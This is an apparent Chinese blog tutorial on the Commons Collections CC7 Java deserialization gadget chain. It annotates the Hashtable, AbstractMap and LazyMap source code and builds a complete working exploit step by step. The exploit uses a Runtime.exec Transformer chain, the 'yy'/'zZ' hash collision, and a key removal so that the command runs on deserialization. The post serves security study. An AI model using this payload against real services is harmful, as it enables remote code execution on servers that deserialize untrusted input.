0x01 写在前面

趁热打铁把CC7一起写了,今天逃物理课还被老师抓包了呜呜呜

0x02 CC7链挖掘

ysoserial官方Gadget chain

使用了两个新类,HashtableAbstractMapDecoratorAbstractMap,再到我们熟悉的LazyMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Payload method chain:

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

Hashtable

Hashtable序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void writeObject(java.io.ObjectOutputStream s) throws IOException {
//临时变量(栈)
Entry<Object, Object> entryStack = null;

synchronized (this) {
s.defaultWriteObject();

//写入table的容量
s.writeInt(table.length);
//写入table的元素个数
s.writeInt(count);

//取出table中的元素,放入栈中(entryStack)
for (int index = 0; index < table.length; index++) {
Entry<?,?> entry = table[index];

while (entry != null) {
entryStack =
new Entry<>(0, entry.key, entry.value, entryStack);
entry = entry.next;
}
}
}

//依次写入栈中的每个元素
while (entryStack != null) {
s.writeObject(entryStack.key);
s.writeObject(entryStack.value);
entryStack = entryStack.next;
}
}

Hashtable有一个Entry<?,?>[]类型的table属性,并且还是一个数组,用于存放键值对

Hashtable在序列化时会先把table数组的容量写入到序列化流中,再写入table数组中的元素个数,然后将其中的元素取出写入到序列化流中

Hashtable反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// Read in the length, threshold, and loadfactor
s.defaultReadObject();

// 读取table数组的容量
int origlength = s.readInt();
//读取table数组的元素个数
int elements = s.readInt();

//计算table数组的length
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
//根据length创建table数组
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

//反序列化,还原table数组
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
reconstitutionPut(table, key, value);
}
}

Hashtable会先从反序列化流中读取table数组的容量和元素个数,并根据origlengthelements计算出table数组的length,再根据计算得到的length来创建table数组,然后从反序列化流中依次读取每个元素,然后调用reconstitutionPut方法将元素重新放入table数组,最终完成反序列化

上面这些都是常规操作,重点在于最后调用的reconstitutionPut()

reconstitutionPut

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
//value不能为null
if (value == null) {
throw new java.io.StreamCorruptedException();
}

//重新计算key的hash值
int hash = key.hashCode();
//根据hash值计算存储索引
int index = (hash & 0x7FFFFFFF) % tab.length;
//判断元素的key是否重复
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
//如果key重复则抛出异常
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
//key不重复则将元素添加到table数组中
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

reconstitutionPut()方法首先对value进行不为null的校验,否则抛出反序列化异常,然后根据key计算出元素在table数组中的存储索引,判断元素在table数组中是否重复,如果重复则抛出异常,如果不重复则将元素转换成Entry并添加到tabl数组中

CC7利用链的漏洞触发的关键就在reconstitutionPut()方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals()方法判断key是否重复时就会触发漏洞

AbstractMapDecorator

AbstractMapDecorator是一个抽象类,但它实现了equals()方法,而且继承Map接口,同时也是LazyMap的父类

1
2
3
4
5
6
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}

AbstractMap

链子中调用的是AbstractMap.equals(),同样的,AbstractMap也继承了Map接口,而且是HashMap的父类,我们后面会使用到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

其中调用的get()方法完成了LazyMap.gey()的链接

LazyMap基础exp

这部分是链子的末端,我就不过多赘述了

1
2
3
4
5
6
7
8
9
10
11
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.get(1);

Hashtable进阶exp

Hashtable.reconstitutionPut()触发equals()的位置在:

1
if ((e.hash == hash) && e.key.equals(key))

abstractMap.equals()触发get()的位置在

1
if (!value.equals(m.get(key)))

也就是当我们控制Hashtable.key值时,就能控制abstractMap.m,从而调用其get()方法触发transform()完成命令执行

那么我们的链子就应该是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap,"gengar");

serialize(hashtable);
unserialize("ser.bin");

先来分析一下前半段链子的执行过程

理想情况下Hashtable.readObjct()在执行reconstitutionPut()中的e.key.equals(key)时,key值是我们传递的lazyMap

但是LazyMap类本身没有equals(),因此调用的是其父类AbstractMapDecorator的方法,也就是:

1
2
3
4
5
6
7
8
public boolean equals(Object object) {
//是否为同一对象(比较引用)
if (object == this) {
return true;
}
//调用HashMap的equals方法
return map.equals(object);
}

AbstractMapDecorator类的equals()方法只比较了这两个key的引用,如果不是同一对象会则调用 map.equals()方法,map属性是通过LazyMap传递的我们在构造利用链的时候,通过LazyMap的静态方法decorate()HashMap传给了map属性

1
2
3
4
5
6
7
8
9
10
11
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

因此这里会调用HashMapequals()方法,但是同样的,HashMap也没有equals(),因此调用的是父类AbstractMap的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public boolean equals(Object o) {
//是否为同一对象
if (o == this)
return true;
//运行类型是否不是Map
if (!(o instanceof Map))
return false;
//向上转型
Map<?,?> m = (Map<?,?>) o;
//判断HashMap的元素的个数size
if (m.size() != size())
return false;

try {
//获取HashMap的迭代器
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
//获取每个元素(Node)
Entry<K,V> e = i.next();
//获取key和value
K key = e.getKey();
V value = e.getValue();
//如果value为null,则判断key
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
//如果value不为null,判断value内容是否相同
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

不过,虽然是调用了AbstractMap.equals(),但是参数仍然是我们传递的lazyMap

在抽象类AbstractMapequals方法进行了更为复杂的判断:

  1. 判断是否为同一对象
  2. 判断对象的运行类型是否不是Map
  3. 判断Map中元素的个数

当以上三个判断都不满足的情况下,则进一步判断Map中的元素,也就是判断元素的key和value的内容是否相同,在value不为null的情况下,m会调用get方法获取key的内容,虽然对象o向上转型成Map类型,但是m对象本质上还是lazyMap,因此m对象调用get方法时实际上是调用了LazyMap.get()方法,然后就是后半条链的命令执行了

最终exp

但是直接运行上面的exp没有完成命令执行弹出计算器,我们在Hashtable.reconstitutionPut()打断点调试分析

img

我们需要调用的 e.key.equal() 方法是在 for 循环里面的,需要进入到这 for 循环才能调用。

HashtablereconstitutionPut() 方法是被遍历调用的

第一次调用的时候,并不会走入到 reconstitutionPut() 方法 for 循环里面,因为 tab[index] 的内容是空的,在下面会对 tab[index] 进行赋值

img

不难看出在添加第一个元素时并不会进入if语句调用equals方法进行判断,因此Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals()方法,否则不会触发漏洞

当LazyMap调用hashCode方法,实际上会调用AbstractMap抽象类的hashCode方法

1
2
3
4
5
6
7
public int hashCode() {
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode();
return h;
}

lazyMap中元素的key值的构造就不细讲了,这里直接拿官方链子中已经构造好的"yy".hashCode() == "zZ".hashCode()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap1 = new HashMap<>();
HashMap<Object,Object> hashMap2 = new HashMap<>();
Map lazyMap1 = LazyMap.decorate(hashMap1,chainedTransformer);
lazyMap1.put("yy",1);
Map lazyMap2 = LazyMap.decorate(hashMap2,chainedTransformer);
lazyMap2.put("zZ",1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);

代码执行到这就会弹计算器,但是我们的目标是反序列化时再完成命令执行

原因在于第二次进行hashtable.put()时,会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法添加一个元素

img

例如Hashtable调用put方法添加第二个元素(lazyMap2,1)的时候,该方法内部会调用equals方法根据元素的key判断是否为同一元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public synchronized V put(K key, V value) {
//value是否为null
if (value == null) {
throw new NullPointerException();
}

//临时变量
Entry<?,?> tab[] = table;
//计算元素的存储索引
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
//获取指定索引的链表
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
//遍历链表的节点(元素)
for(; entry != null ; entry = entry.next) {
//判断key是否重复
if ((entry.hash == hash) && entry.key.equals(key)) {
//覆盖value
V old = entry.value;
entry.value = value;
return old;
}
}
//key不重复则添加元素
addEntry(hash, key, value, index);
return null;
}

此时的key是lazyMap2对象,而lazyMap2实际上调用了AbstractMap抽象类的equals方法,equals方法内部会调用lazyMap2的get方法判断table数组中元素的key在lazyMap2是否已存在,如果不存在,transform会把当前传入的key返回作为value,然后lazyMap2会调用put方法把key和value(yy=yy)添加到lazyMap2。

当在反序列化时,reconstitutionPut方法在还原table数组时会调用equals方法判断重复元素,由于AbstractMap抽象类的equals方法校验的时候更为严格,会判断Map中元素的个数,由于lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞

img

这就不能满足 hash 碰撞了,构造序列化链的时候是满足的,但是构造完成之后就不满足了,那么经过对方服务器反序列化也不能满足 hash 碰撞了,也就不会执行系统命令了,所以就在构造完序列化链之后手动删除这多出来的一组键值对

最终完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Transformer[] transformers = new Transformer[]{  
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);
decorateMap2.remove("yy");

serialize(hashtable);
unserialize("ser.bin");

弹了两次计算器,说明反序列化时命令执行成功

0x03 小结

总算是挖完了CC1-7,正式迈入Java反序列化的大门,这只是Java安全的开始

img

参考

https://drun1baby.github.io/2022/06/29/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8708-CC7%E9%93%BE/

https://blog.csdn.net/qq_35733751/article/details/119862728